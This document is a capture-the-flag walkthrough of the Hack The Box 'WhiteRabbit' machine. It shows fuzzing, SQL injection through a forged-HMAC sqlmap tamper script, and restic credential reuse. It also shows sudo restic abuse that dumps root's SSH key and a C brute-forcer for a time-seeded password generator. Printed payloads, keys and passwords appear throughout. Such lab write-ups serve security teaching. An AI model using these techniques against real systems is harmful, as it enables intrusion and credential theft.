WhiteRabbit
Recon
HTTP (80)
The application has no internal pages, just index.html

Fuzzing
Dirbusting also shows no directories
└─$ feroxbuster -u 'http://whiterabbit.htb/' -k -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -n -D -C 404,403,400 -S 0,34
200 GET 3066l 17141w 1391904c http://whiterabbit.htb/uptime.png
200 GET 3160l 17841w 1426261c http://whiterabbit.htb/phish.png
200 GET 3683l 20644w 1621908c http://whiterabbit.htb/n8n.png
200 GET 116l 510w 6109c http://whiterabbit.htb/
200 GET 116l 510w 6109c http://whiterabbit.htb/index.html
Domain enumeration shows there's a subdomain called status
└─$ domain='whiterabbit.htb'; ffuf -u "http://$domain/" -H "Host: FUZZ.$domain" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -fs 0
status [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 81ms]
Uptime Kuma
Subdomain is protected with authentication

uptime-kuma: A fancy self-hosted monitoring tool
Vue.JS
Since the application is using Vue.js we can find more about application from it's source. Searching for /dashboard
we find other paths used by router.
path: "", component: mz, children: [{
name: "DashboardHome", path: "/dashboard", component: Uz, children: [
{ path: "/dashboard/:id", component: IV, children: [
{ path: "", component: ZK },
{ path: "/edit/:id", component: Mf }
]},
{ path: "/clone/:id", component: Mf },
{ path: "/add", component: Mf }
]
},
{ path: "/list", component: i6e },
{ path: "/settings", component: jDe, children: [
{ path: "general", component: g_e },
{ path: "appearance", component: Awe },
{ path: "notifications", component: WDe },
{ path: "reverse-proxy", component: K_e },
{ path: "tags", component: ICe },
{ path: "monitor-history", component: jCe },
{ path: "docker-hosts", component: bEe },
{ path: "security", component: KDe },
{ path: "api-keys", component: qTe },
{ path: "proxies", component: oDe },
{ path: "backup", component: $De },
{ path: "about", component: zDe }
]},
{ path: "/manage-status-page", component: PAe },
{ path: "/add-status-page", component: QAe },
{ path: "/maintenance", component: JEe },
{ path: "/maintenance/:id", component: PEe },
{ path: "/add-maintenance", component: e3 },
{ path: "/maintenance/edit/:id", component: e3 }
{ path: "/setup", component: k6e },
{ path: "/status-page", component: Yc },
{ path: "/status", component: Yc },
{ path: "/status/:slug", component: Yc },
{ path: "/:pathMatch(.*)*", component: dEe }
]
Most of the routes didn't work as intended because all of them want authenticated session.
/setup
route worked, kinda. With burp suite it's possible to halt the redirection, make request, let go of halt and slip the registration request. This however didn't work as it has already been Initialized.

Use feroxbuster
for other routes too
└─$ feroxbuster -u 'http://status.whiterabbit.htb/' -k -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -n -D -C 404,403,400 -S 0,34,2444
302 GET 1l 4w 32c http://status.whiterabbit.htb/ => http://status.whiterabbit.htb/dashboard
302 GET 1l 4w 89c http://status.whiterabbit.htb/.well-known/change-password => https://github.com/louislam/uptime-kuma/wiki/Reset-Password-via-CLI
301 GET 10l 16w 179c http://status.whiterabbit.htb/assets => http://status.whiterabbit.htb/assets/
200 GET 4l 33w 29264c http://status.whiterabbit.htb/favicon.ico
200 GET 2l 4w 25c http://status.whiterabbit.htb/robots.txt
301 GET 10l 16w 189c http://status.whiterabbit.htb/screenshots => http://status.whiterabbit.htb/screenshots/
301 GET 10l 16w 179c http://status.whiterabbit.htb/upload => http://status.whiterabbit.htb/upload/
Going back to the main domain they talk about using Kuma, which should mean that other announcements should be true.

The frontend version is leaked from source:

Frontend Authentication Bypass
It's also possible to bypass the frontend authentication if the ok
value in Sockets.io is changed to True; However this is only frontend and not backend, so no real permissions are applied.

CVE-2024-56331
Application versions: https://github.com/louislam/uptime-kuma/tags
Only 1.23.16 version after 1.23.13 has a CVE vulnerability fix: - GHSA-2qgm-m29m-cj2h [CVE-2024-56331] Local File Inclusion (LFI) via Improper URL Handling in Real-Browser
monitor.
CVE requires authenticated user, so it's no of use right now.
More fuzzing
└─$ feroxbuster -u 'http://status.whiterabbit.htb/uploads' -k -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -n -D -C 404,403,400 -S 0,34,2444
..Empty..
└─$ feroxbuster -u 'http://status.whiterabbit.htb/status' -k -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -n -D -C 404,403,400 -S 0,34,2444
200 GET 41l 152w 3359c http://status.whiterabbit.htb/status/temp
Uploads
returns 404, so we will need exact filename, LFI doesn't seem to work. /status
returns /temp
which could be useful.

Wiki.JS
http://a668910b5514e.whiterabbit.htb/

GoPhish Webhook
There's talk about GoPhish Webhooks:


http://a668910b5514e.whiterabbit.htb/gophish/gophish_to_phishing_score_database.json
Secret: 3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS
SQLi
Since database is involved in the recipe we could try SQLi, ideally SQLMap.
└─$ mkdir tampers
└─$ touch tampers/__init__.py
└─$ nano tampers/signature.py
import hmac
import hashlib
KEY = b'3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS'
__priority__ = 0
def dependencies():
pass
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
signature = hmac.new(KEY, payload.encode(), hashlib.sha256).hexdigest()
headers["x-gophish-signature"] = f'sha256={signature}'
return payload
I shouldn't have left SQLMap running blindly... The header was always wrong so there was no point in running it.
Since we were given the test request let's first try to generate the original hash.
import hmac
import hashlib
import json
KEY = b'3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS'
DATA = { "campaign_id": 1, "email": "test@ex.com", "message": "Clicked Link" }
def show_hmac(label, data):
data_bytes = data.encode()
digest = hmac.new(KEY, data_bytes, hashlib.sha256).hexdigest()
print(f"{label}:\n{data_bytes}\n{digest}\n")
show_hmac("str()", str(DATA))
show_hmac("json.dumps()", json.dumps(DATA))
show_hmac("json.dumps(compact)", json.dumps(DATA, separators=(',', ':')))
'''
b"{'campaign_id': 1, 'email': 'test@ex.com', 'message': 'Clicked Link'}"
41a6b9e47af2b1a2975f5a9be023a370e7c5a6eb7c7fb0befeec6c3c8c5071e8
b'{"campaign_id": 1, "email": "test@ex.com", "message": "Clicked Link"}'
7d629705566b20e8c538fa3bdbb5399decf2e6e91bfdf48945d634cff36ed7ea
b'{"campaign_id":1,"email":"test@ex.com","message":"Clicked Link"}'
cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd
'''
Only compact hashed json is accepted.
The tamper function payload for the email
, not the data we pass to it. Encode, send and wait.
import hmac
import hashlib
import json
KEY = b'3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS'
def tamper(payload, **kwargs):
payload_for_signature = json.dumps({
"campaign_id": 1,
"email": payload,
"message": "Clicked Link"
}, separators=(',', ':')).encode()
headers = kwargs.get("headers", {})
signature = hmac.new(KEY, payload_for_signature, hashlib.sha256 ).hexdigest()
headers["x-gophish-signature"] = f'sha256={signature}'
return payload
└─$ sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --tamper=./tampers/signature.py --batch --level 5 --risk 3 --dbms=MySQL # --proxy=http://127.0.0.1:8080
[*] starting @ 20:08:25 /2025-04-08/
sqlmap identified the following injection point(s) with a total of 1645 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: {"campaign_id":1,"email":"" AND 3359=(SELECT (CASE WHEN (3359=3359) THEN 3359 ELSE (SELECT 7918 UNION SELECT 6022) END))-- -","message":"Clicked Link"}
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: {"campaign_id":1,"email":"" AND (SELECT 7445 FROM(SELECT COUNT(*),CONCAT(0x717a6a7671,(SELECT (ELT(7445=7445,1))),0x717a627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- EEtA","message":"Clicked Link"}
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: {"campaign_id":1,"email":"";SELECT SLEEP(5)#","message":"Clicked Link"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"campaign_id":1,"email":"" AND (SELECT 3588 FROM (SELECT(SLEEP(5)))gvUK)-- fMMx","message":"Clicked Link"}
---
[20:21:12] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[*] ending @ 20:21:13 /2025-04-08/
Tables:
└─$ sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --tamper=./tampers/signature.py --batch --level 5 --risk 3 --dbms=MySQL --current-db --tables
Database: information_schema
[84 tables]
+---------------------------------------+
| ALL_PLUGINS |
| APPLICABLE_ROLES |
| CHARACTER_SETS |
| CHECK_CONSTRAINTS |
| CLIENT_STATISTICS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMN_PRIVILEGES |
| ENABLED_ROLES |
| FILES |
| GEOMETRY_COLUMNS |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INDEX_STATISTICS |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_CMP_RESET |
| INNODB_FT_BEING_DELETED |
| INNODB_FT_CONFIG |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_DELETED |
| INNODB_FT_INDEX_CACHE |
| INNODB_FT_INDEX_TABLE |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_METRICS |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_FIELDS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_SYS_INDEXES |
| INNODB_SYS_TABLES |
| INNODB_SYS_TABLESPACES |
| INNODB_SYS_TABLESTATS |
| INNODB_SYS_VIRTUAL |
| INNODB_TABLESPACES_ENCRYPTION |
| INNODB_TRX |
| KEYWORDS |
| KEY_CACHES |
| KEY_COLUMN_USAGE |
| KEY_PERIOD_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PERIODS |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SEQUENCES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| SPATIAL_REF_SYS |
| SQL_FUNCTIONS |
| STATISTICS |
| SYSTEM_VARIABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TABLE_STATISTICS |
| THREAD_POOL_GROUPS |
| THREAD_POOL_QUEUES |
| THREAD_POOL_STATS |
| THREAD_POOL_WAITS |
| USERS |
| USER_PRIVILEGES |
| USER_STATISTICS |
| VIEWS |
| COLUMNS |
| ENGINES |
| EVENTS |
| OPTIMIZER_COSTS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| TABLES |
| TRIGGERS |
| user_variables |
+---------------------------------------+
Database: phishing
[1 table]
+---------------------------------------+
| victims |
+---------------------------------------+
Database: temp
[1 table]
+---------------------------------------+
| command_log |
+---------------------------------------+
Table contents:
└─$ sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --tamper=./tampers/signature.py --batch --level 5 --risk 3 --dbms=MySQL -D phishing -T victims --dump
...Nothing Interesting...
└─$ sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --tamper=./tampers/signature.py --batch --level 5 --risk 3 --dbms=MySQL -D temp -T command_log --dump
+----+---------------------+------------------------------------------------------------------------------+
| id | date | command |
+----+---------------------+------------------------------------------------------------------------------+
| 1 | 2024-08-30 10:44:01 | uname -a |
| 2 | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb |
| 3 | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd |
| 4 | 2024-08-30 11:59:02 | rm -rf .bash_history |
| 5 | 2024-08-30 11:59:47 | #thatwasclose |
| 6 | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+
restic
# https://github.com/restic/restic/releases/latest
└─$ curl -LOs https://github.com/restic/restic/releases/download/v0.18.0/restic_0.18.0_linux_amd64.bz2
└─$ bzip2 -d restic_0.18.0_linux_amd64.bz2
└─$ chmod +x restic_0.18.0_linux_amd64
└─$ sudo mv ./restic_0.18.0_linux_amd64 /usr/local/bin/restic
└─$ echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd
└─$ restic -r rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd snapshots
repository 5b26a938 opened (version 2, compression level auto)
created new cache in /home/woyag/.cache/restic
ID Time Host Tags Paths
------------------------------------------------------------------------
272cacd5 2025-03-06 19:18:40 whiterabbit /dev/shm/bob/ssh
------------------------------------------------------------------------
1 snapshots
└─$ restic -r rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd ls 272cacd5
repository 5b26a938 opened (version 2, compression level auto)
[0:00] 100.00% 5 / 5 index files loaded
snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit filtered by []:
/dev
/dev/shm
/dev/shm/bob
/dev/shm/bob/ssh
/dev/shm/bob/ssh/bob.7z
└─$ restic -r rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd restore 272cacd5:/dev/shm/bob/ssh --target .
repository 5b26a938 opened (version 2, compression level auto)
[0:00] 100.00% 5 / 5 index files loaded
restoring snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit to .
Summary: Restored 1 files/dirs (572 B) in 0:00
└─$ 7z x bob.7z -o'bob'
Enter password (will not be echoed):
Hmm.... It's password protected
└─$ 7z2john bob.7z | tee bob.hash
bob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe .\hashes.txt --wordlist=.\rockyou.txt
Warning: detected hash type "7z", but the string is also recognized as "7z-opencl"
Use the "--format=7z-opencl" option to force loading these as that type instead
1q2w3e4r5t6y (bob.7z)
└─$ 7z x bob.7z -o'bob' -p'1q2w3e4r5t6y'
└─$ cat bob/config
Host whiterabbit
HostName whiterabbit.htb
Port 2222
User bob
SSH (2222)
└─$ ssh -i bob/bob whiterabbit.htb -p 2222
bob@ebdce80611e9:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
Privilege Escalation (bob)
bob@ebdce80611e9:~$ sudo -l
Matching Defaults entries for bob on ebdce80611e9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User bob may run the following commands on ebdce80611e9:
(ALL) NOPASSWD: /usr/bin/restic
bob@ebdce80611e9:~$ cd /dev/shm
bob@ebdce80611e9:/dev/shm$ restic init --repo pwn
bob@ebdce80611e9:/dev/shm$ echo "pwn" > restic.password
bob@ebdce80611e9:/dev/shm$ sudo restic backup --repo ./pwn --password-file restic.password /root
bob@ebdce80611e9:/dev/shm$ sudo restic snapshots --repo ./pwn --password-file restic.password
bob@ebdce80611e9:/dev/shm$ restic restore 566f121a --repo /pwn --password-file restic.password --target .
...permission denied...
bob@ebdce80611e9:/dev/shm$ restic restore 566f121a --repo /pwn --password-file restic.password --target .
...worked...
bob@ebdce80611e9:/dev/shm$ ls -alh
total 4.0K
drwxrwxrwt 4 root root 100 Apr 9 03:16 .
drwxr-xr-x 5 root root 340 Apr 7 23:20 ..
drwx------ 7 bob bob 160 Apr 9 03:11 pwn
-rw-rw-r-- 1 bob bob 4 Apr 9 03:12 restic.password
drwx------ 4 root root 180 Apr 9 03:13 root
We can run restic
as root, but looks like permissions are strongly contained within scope. We can backup a directory, but can't read it as bob when restoring the files.
restic
has many other commands to use, but cat
won't work since it only reads internal files (not backed up files). mount
will be same as restore
bob@ebdce80611e9:/dev/shm$ sudo restic --repo ./pwn --password-file restic.password ls 566f121a
repository ba172883 opened (version 2, compression level auto)
[0:00] 100.00% 1 / 1 index files loaded
snapshot 566f121a of [/root] filtered by [] at 2025-04-09 03:13:11.594339116 +0000 UTC):
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.profile
/root/.ssh
/root/morpheus
/root/morpheus.pub
But dump
command is able to read files directly to stdout:
# bob@ebdce80611e9:/dev/shm$ sudo restic --repo ./dest --password-file restic.password dump <SNAPSHOT_ID> <FILENAME>
bob@ebdce80611e9:/dev/shm$ sudo restic --repo ./pwn --password-file restic.password dump 566f121a /root/morpheus
repository ba172883 opened (version 2, compression level auto)
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQS/TfMMhsru2K1PsCWvpv3v3Ulz5cBP
UtRd9VW3U6sl0GWb0c9HR5rBMomfZgDSOtnpgv5sdTxGyidz8TqOxb0eAAAAqOeHErTnhx
K0AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9N8wyGyu7YrU+w
Ja+m/e/dSXPlwE9S1F31VbdTqyXQZZvRz0dHmsEyiZ9mANI62emC/mx1PEbKJ3PxOo7FvR
4AAAAhAIUBairunTn6HZU/tHq+7dUjb5nqBF6dz5OOrLnwDaTfAAAADWZseEBibGFja2xp
c3QBAg==
-----END OPENSSH PRIVATE KEY-----
SSH (22) (morpheus)
└─$ nano morpheus.id_rsa
└─$ chmod 600 morpheus.id_rsa
└─$ ssh -i morpheus.id_rsa morpheus@whiterabbit.htb
morpheus@whiterabbit:~$ id
uid=1001(morpheus) gid=1001(morpheus) groups=1001(morpheus),100(users)
User.txt
morpheus@whiterabbit:~$ cat user.txt
b492bb171e7e9cc49b91df862733ed65
Privilege Escalation (neo)
We can't sudo
without user's password.
There's something interesting in /opt
morpheus@whiterabbit:/opt/neo-password-generator$ ls -Alh
total 16K
-rwxr-xr-x 1 root root 16K Aug 30 2024 neo-password-generator
neo
is another user on the machine, probably password is generated for him.
morpheus@whiterabbit:/opt/neo-password-generator$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
neo:x:1000:1000:Neo:/home/neo:/bin/bash
morpheus:x:1001:1001:Morpheus,,,:/home/morpheus:/bin/bash
The output is always random 🤔
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator
F6OjViAGX6m6rqamddwE
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator
cQgC7bAXESEU44wsCutl
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator
TJ2ajKfDyNy76lgmj06U
From database we know that this command was used to generate password for neo
| 6 | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
└─$ scp -i morpheus.id_rsa morpheus@whiterabbit.htb:/opt/neo-password-generator/neo-password-generator .
https://dogbolt.org/?id=9a9dbdd8-f066-4cb3-96ee-2f2ee60efae3#BinaryNinja=140&Ghidra=182
The password is generated based on time
int64_t generate_password(uint32_t arg1) {
void* fsbase;
int64_t rax = *(fsbase + 0x28);
srand(arg1);
void str;
for (int32_t i = 0; i <= 0x13; i += 1)
*(&str + i) = (*"abcdefghijklmnopqrstuvwxyzABCDEF…")[rand() % 0x3e];
char var_14 = 0;
puts(&str);
if (rax == *(fsbase + 0x28))
return rax - *(fsbase + 0x28);
__stack_chk_fail();
/* no return */
}
int32_t main(int32_t argc, char** argv, char** envp) {
void* fsbase;
int64_t rax = *(fsbase + 0x28);
int64_t var_28;
gettimeofday(&var_28, nullptr);
int64_t var_20;
generate_password(var_28 * 1000 + var_20 / 1000);
// generate_password(local_28.tv_sec * 1000 + local_28.tv_usec / 1000);%% %%
*(fsbase + 0x28);
if (rax == *(fsbase + 0x28))
return 0;
__stack_chk_fail();
/* no return */
}
Since we know the exact time the password was generated we can bruteforce our way in. The only factor to consider is microseconds, we know exact datetime but not microseconds. It's important because generated password includes them in seed value.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>
void generate_password(int seed) {
srand(seed);
char password[21];
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
int charset_size = sizeof(charset) - 1;
for (int i = 0; i < 20; i++) { password[i] = charset[rand() % charset_size]; }
password[20] = '\0';
printf("Seed: %u → %s\n", seed, password);
}
int main(void) {
struct tm tm_utc = {
.tm_year = 2024 - 1900, // Year since 1900
.tm_mon = 8 - 1, // Month (0-11)
.tm_mday = 30, // Day of the month
.tm_hour = 14, // Hour (0-23)
.tm_min = 40, // Minute (0-59)
.tm_sec = 42, // Second (0-59)
};
// Get UTC timestamp (seconds)
time_t t = timegm(&tm_utc);
// Fuzz across 1000 milliseconds
for (int delta = 0; delta <= 1000; delta++) {
int seed = t * 1000 + delta;
generate_password(seed);
}
return 0;
}
It's important to consider the timezone. Victim has UTC, but for example me I have EDT. If I generate passwords on my local timezone it will not work, hence timegm
will use UTC to create proper timestamps.
morpheus@whiterabbit:/tmp$ date +%Z # Victim
UTC
└─$ date +%Z # Attacker
EDT
└─$ gcc gen_passwd.c && ./a.out | cut -d ' ' -f4 > passwords.txt
└─$ curl -LOs https://raw.githubusercontent.com/carlospolop/su-bruteforce/refs/heads/master/suBF.sh
└─$ scp -i morpheus.id_rsa suBF.sh morpheus@whiterabbit.htb:/tmp
└─$ scp -i morpheus.id_rsa passwords.txt morpheus@whiterabbit.htb:/tmp
morpheus@whiterabbit:/tmp$ chmod +x suBF.sh
morpheus@whiterabbit:/tmp$ ./suBF.sh -t 1 -u neo -w passwords.txt
[+] Bruteforcing neo...
You can login as neo using password: WBSxhWgfnMiclrV4dqfj
Note: After some tweaking
-t 1
was a must,0.7
was too quick and script missed password few times.
morpheus@whiterabbit:/tmp$ su neo
Password: WBSxhWgfnMiclrV4dqfj
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
Privilege Escalation (root)
neo@whiterabbit:/tmp$ sudo -l
[sudo] password for neo: WBSxhWgfnMiclrV4dqfj
Matching Defaults entries for neo on whiterabbit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User neo may run the following commands on whiterabbit:
(ALL : ALL) ALL
neo@whiterabbit:/tmp$ sudo su
root@whiterabbit:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
Root.txt
root@whiterabbit:/tmp# cat /root/root.txt
606cda873292a52f321f04acc2ea5fc7
Last updated